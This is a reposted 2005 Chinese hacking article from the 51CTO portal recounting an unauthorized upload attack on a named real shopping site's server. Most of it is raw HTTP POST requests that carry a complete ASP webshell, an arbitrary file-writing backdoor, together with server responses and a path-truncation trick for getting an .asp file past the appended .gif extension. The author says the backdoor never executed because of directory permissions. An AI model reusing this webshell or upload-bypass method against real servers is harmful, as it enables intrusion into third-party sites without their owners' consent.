频 道 直 达 - 新闻 - 读书 - 培训 - 教程 - 前沿 - 组网 - 系统应用 - 安全 - 编程 - 存储 - 操作系统 - 数据库 - 服务器 - 专题 - 产品 - 案例库 - 技术圈 - 博客 - BBS
51CTO.COM_中国领先的IT技术网站
找资料:

一次小小的上传文件测试

作者: Tywolf 出处:315安全网  (  ) 砖  (  ) 好  评论 ( ) 条  进入论坛
更新时间:2005-12-17 22:18
关 键 词:
阅读提示:记得看过一次315安全网里的一位兄台做过一个他们服务器硬盘权限分配的动画,了解到是一台虚拟主机,用自己写的程序跑了跑,看看有没有什么可以利用的地方,发现了一个动感购物商城的上传页面,呵呵……

下午5:52分,快吃晚饭了,这段时间里我比较喜欢给忙碌了一天的自己放短假,所以按照习惯就跑去几个常去的黑客站点看看文章,武汉的315安全网我还是比较喜欢的,东西比较多而且更新的也还算及时。
记得看过一次315安全网里的一位兄台做过一个他们服务器硬盘权限分配的动画,了解到是一台虚拟主机,用自己写的程序跑了跑,看看有没有什么可以利用的地方,发现了一个动感购物商城的上传页面,呵呵……
http://www.whdlwj.com/upload_flash.asp?formname=myform&editname=bookpic&uppath=bookpic&filelx=jpg
就抓了个包试试看上传,包的结果如下:

POST /upfile_flash.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel,   application/vnd.ms-powerpoint, application/msword, */*
Referer: http://www.whdlwj.com/upload_flash.asp?formname=myform&editname=bookpic&uppath=bookpic&filelx=jpg
Accept-Language: zh-cn
Content-Type: multipart/form-data; boundary=---------------------------7d51863950254
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; .NET CLR 1.1.4322)
Host: www.whdlwj.com
Content-Length: 3306
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDCARBBDSS=NDPLMAIBCAFLEEMECJONPJJJ

-----------------------------7d51863950254
Content-Disposition: form-data; name="filepath"

bookpic/
-----------------------------7d51863950254
Content-Disposition: form-data; name="filelx"

jpg
-----------------------------7d51863950254
Content-Disposition: form-data; name="EditName"

bookpic
-----------------------------7d51863950254
Content-Disposition: form-data; name="FormName"

myform
-----------------------------7d51863950254
Content-Disposition: form-data; name="act"

uploadfile
-----------------------------7d51863950254
Content-Disposition: form-data; name="file1"; filename="G:\backdoor\网页木马\海阳ASP木马\2005\改好的\save.asp"
Content-Type: application/octet-stream

<style type="text/css">
<!--
.unnamed1 {
font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 12px;
font-style: normal;
line-height: normal;
color: #000000;
text-decoration: none;
}
.style6 {color: #FF0033}
.style7 {color: #000000; }
.style8 {color: #0000FF}
-->
</style>
<div align="center">
<table width="372" border="1" align="center" class="unnamed1">
<tr>
<td align="center" valign="middle"><div align="center">
<p>
<% dim objFSO %>
<% dim fdata %>
<% dim objCountFile %>
<% on error resume next %>
<% Set objFSO = Server.CreateObject("Scripting.FileSystemObject") %>
<% if Trim(request("syfdpath"))"" then %>
<% fdata = request("cyfddata") %>
<% Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True) %>
<% objCountFile.Write fdata %>
<% if err =0 then %>
<% response.write "<font color=red>Save Success!</font>" %>
<% else %>
<% response.write "<font color=red>Save UnSuccess!</font>" %>
<% end if %>
<% err.clear %>
<% end if %>
<% objCountFile.Close %>
<% Set objCountFile=Nothing %>
<% Set objFSO = Nothing %>
<% Response.write "<form action='' method=post>" %>
<% Response.write "保存文件的<font color=red>绝对路径(包括文件名:如D:\web\sys.asp):</font>" %>
</p>
<p>
<% Response.Write "<input type=text name=syfdpath width=32 size=50>" %>
<% Response.Write "<br>" %>
</p>
<p>             
<% Response.write "本文件<font color=red>绝对路径:</font>" %>
<% =server.mappath(Request.ServerVariables("SCRIPT_NAME")) %>
</p>
<p>           
<% Response.write "<br>" %>
<% Response.write "输入马的内容:" %>
</p>
<p>
<% Response.write "<textarea name=cyfddata cols=80 rows=10 width=32></textarea>" %>
</p>
<p>
<% Response.write "<input type=submit value=Save>" %>
<% Response.write "</form>" %>
</p>
<p class="style7">Save File Workstation Beautify the version</p>
<p class="style6">  <span class="style8">----Power By Perl</span> </p>
</div></td>
</tr>
</table>
</div>
-----------------------------7d51863950254
Content-Disposition: form-data; name="Submit"

开始上传
-----------------------------7d51863950254--

按照正常的手段改数据包先进行测试,提交结果返回为:
HTTP/1.1 500 Internal Server Error
Date: Mon, 18 Apr 2005 10:05:24 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 493
Content-Type: text/html
Cache-control: private

<!--
┌─ o91.com───────────────┐
│  动感购物商务平台WWW.SNSN.NET版权所有  │
│  设计:模糊视线13855119911 QQ:9912515 │
└────────────────────┘
-->

<link href="css.css" rel="stylesheet" type="text/css">
<font face="宋体" size=2>
<p>ADODB.Stream</font> <font face="宋体" size=2>错误 '800a0bbc'</font>
<p>
<font face="宋体" size=2>写入文件失败。</font>
<p>
<font face="宋体" size=2>/upload_wj.inc</font><font face="宋体" size=2>,行 181<
/font>

从返回数据得知根目录限制了文件写入,那我们就换一个目录,将包里的上传路径改为bookpic/sys.asp,字节改为3314,提示如下:
HTTP/1.1 200 OK
Date: Mon, 18 Apr 2005 10:07:54 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 472
Content-Type: text/html
Cache-control: private

<!--
┌─ o91.com───────────────┐
│  动感购物商务平台WWW.SNSN.NET版权所有  │
│  设计:模糊视线13855119911 QQ:9912515 │
└────────────────────┘
-->

<link href="css.css" rel="stylesheet" type="text/css">
<script>window.opener.document.myform.bookpic.value='bookpic/sys.asp200541818754
95496.gif'</script>
<script language="javascript">
window.alert("文件上传成功!请不要修改生成的链接地址!");
window.close();
</script>

嘿嘿,文件上传成功,不过你别急,看清楚包的返回数据为bookpic/sys.asp20054181875495496.gif,打开这个文件来就是我们的后门文件代码了。都到这个地方了,传不上去有点不甘心,认真看看文件名bookpic/sys.asp20054181875495496.gif,怎么样?有点想法没有?呵呵……
我们的文件后缀.asp它还保留着呢,只不过在后面给我们加上了一段长长的字符串和gif后缀,让我们的asp文件变成了gif文件。因为我没有看过这套程序的上传文件代码,所以我就靠经验来改改这个后门的数据包,让它截断后面的部分。改动之后的数据包如下:
POST /upfile_flash.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer: http://www.whdlwj.com/upload_flash.asp?formname=myform&editname=bookpic&uppath=bookpic&filelx=jpg
Accept-Language: zh-cn
Content-Type: multipart/form-data; boundary=---------------------------7d51863950254
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; .NET CLR 1.1.4322)
Host: www.whdlwj.com
Content-Length: 3316
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDCARBBDSS=NDPLMAIBCAFLEEMECJONPJJJ

-----------------------------7d51863950254
Content-Disposition: form-data; name="filepath"

bookpic/wolf.asp
-----------------------------7d51863950254
Content-Disposition: form-data; name="filelx"

jpg
-----------------------------7d51863950254
Content-Disposition: form-data; name="EditName"

bookpic
-----------------------------7d51863950254
Content-Disposition: form-data; name="FormName"

myform
-----------------------------7d51863950254
Content-Disposition: form-data; name="act"

uploadfile
-----------------------------7d51863950254
Content-Disposition: form-data; name="file1"; filename="G:\backdoor\网页木马\海阳ASP木马\2005\改好的\save.asp.gif"
Content-Type: application/octet-stream

<style type="text/css">
<!--
.unnamed1 {
font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 12px;
font-style: normal;
line-height: normal;
color: #000000;
text-decoration: none;
}
.style6 {color: #FF0033}
.style7 {color: #000000; }
.style8 {color: #0000FF}
-->
</style>
<div align="center">
<table width="372" border="1" align="center" class="unnamed1">
<tr>
<td align="center" valign="middle"><div align="center">
<p>
<% dim objFSO %>
<% dim fdata %>
<% dim objCountFile %>
<% on error resume next %>
<% Set objFSO = Server.CreateObject("Scripting.FileSystemObject") %>
<% if Trim(request("syfdpath"))"" then %>
<% fdata = request("cyfddata") %>
<% Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True) %>
<% objCountFile.Write fdata %>
<% if err =0 then %>
<% response.write "<font color=red>Save Success!</font>" %>
<% else %>
<% response.write "<font color=red>Save UnSuccess!</font>" %>
<% end if %>
<% err.clear %>
<% end if %>
<% objCountFile.Close %>
<% Set objCountFile=Nothing %>
<% Set objFSO = Nothing %>
<% Response.write "<form action='' method=post>" %>
<% Response.write "保存文件的<font color=red>绝对路径(包括文件名:如D:\web\sys.asp):</font>" %>
</p>
<p>
<% Response.Write "<input type=text name=syfdpath width=32 size=50>" %>
<% Response.Write "<br>" %>
</p>
<p>             
<% Response.write "本文件<font color=red>绝对路径:</font>" %>
<% =server.mappath(Request.ServerVariables("SCRIPT_NAME")) %>
</p>
<p>           
<% Response.write "<br>" %>
<% Response.write "输入马的内容:" %>
</p>
<p>
<% Response.write "<textarea name=cyfddata cols=80 rows=10 width=32></textarea>" %>
</p>
<p>
<% Response.write "<input type=submit value=Save>" %>
<% Response.write "</form>" %>
</p>
<p class="style7">Save File Workstation Beautify the version</p>
<p class="style6">  <span class="style8">----Power By Perl</span> </p>
</div></td>
</tr>
</table>
</div>
-----------------------------7d51863950254
Content-Disposition: form-data; name="Submit"

开始上传
-----------------------------7d51863950254--

整个包的大体并没变化,只需要将第一次修改的数据包里的G:\backdoor\网页木马\海阳ASP木马\2005\改好的\save.gif改为G:\backdoor\网页木马\海阳ASP木马\2005\改好的\save.asp.gif,其余不变,再传一次。上传的窗口一闪就关闭了(因为我是用了个BAT来执行提交的),嘿嘿……虽然看不到返回结果,不过我知道这个时候数据已经被我截断了,文件也正常的变成了asp。再进后门看看,浏览器显示:

该页无法显示
您试图从目录中执行 CGI、ISAPI 或其他可执行程序,但该目录不允许执行程序。
--------------------------------------------------------------------------------

请尝试以下操作:

如果您认为该目录应该允许执行访问权限,请与网站管理员联系。
HTTP 错误 403.1 - 禁止访问:执行访问被拒绝。
Internet 信息服务 (IIS)

嘿嘿……有这个显示就说明OK了,可以上传ASP文件了,之后又换了换目录试试,都不允许写入文件^_^!。这个图片目录也不允许执行我们的后门。
毕竟是安全站点的主机,在目录限制和权限设置这方面做的还可以,要不一会就被人黑了可就羞大了^_^。到这里,我做的整个测试就结束了,不知道看完了大家有什么感想,虽然并没有拿到SHELL,其实我想突出讲的一点是文章中的思路,以及平时需要的是多积累经验,在应用的再多留心一点,那发现一点点小东西并不是特别的困难^_^。(文章看的不爽的别拿鸡蛋丢,我吃的怕了,拿钱咂我好了,我穷啊~~~)。


发表
查看
我也说两句

匿名发表

(如果看不清请点击图片进行更换)


中 国 领 先 的 IT 技 术 网 站 ·
技 术 成 就 梦 想
·Java基础教程 (查看51847次)
·UML类图详解 (查看46438次)
·Java编程开发手册 (查看24908次)
·UML统一建模语言 (查看23911次)
·C#技术开发指南 (查看21990次)
·Java编程开发手册 (1195个砖)
·Java基础教程 (429个砖)
·C#技术开发指南 (304个砖)
·PB开发教程 (220个砖)
·.NET开发手册 (217个砖)
·Java编程开发手册 (653个好)
·Java基础教程 (569个好)
·.NET开发手册 (249个好)
·PB开发教程 (208个好)
·Delphi开发技术手册 (174个好)
订阅技术快讯
电子杂志下载
名称:网络安全精品应用黄皮书
简介:《2007精品网络安全黄皮书》包括了9个大类24个小类, 800余篇文章,内容包含了熊猫烧香病毒、DDOS攻击、ARP病等热点问题的介绍及解决方案。从病毒查杀、防范、系统、数据等各方面的安全设置到黑客技术的了解、防范,涉及到了安全应用的全部领域, 由浅至深内容全面。
名称:Vista精品应用黄皮书
简介:《Vista精品应用黄皮书》囊括了Vista的各方面内容。此次的精简版,是将里面的内容做了提取,便于用户下载和使用。内容包含了各种Vista的安装与实施、技巧与解析以及各种Vista相关学习文档和相关软件的安全下载。该电子书是了解和应用Vista人员必备的工具手册,并且也是第一本
名称:2006中国IT论坛精品集合
简介:本书由“51CTO论坛推广联盟”制作完成。书中所有内容均来自各联盟成员的论坛(网站)。制作本书的目的是为了集中大家的优势资源,将更多更精彩的内容带给广大技术爱好者。本书是联盟成立以来制作的第一本书。
关键字阅读
频道精选
主编信箱 热线:010-66476606 告诉我们您想看的:专题 文章
关于我们 | 诚聘英才 | 联系我们 | 网站大事 | 意见反馈 | 网站地图
Copyright©2005-2007 51CTO.COM 版权所有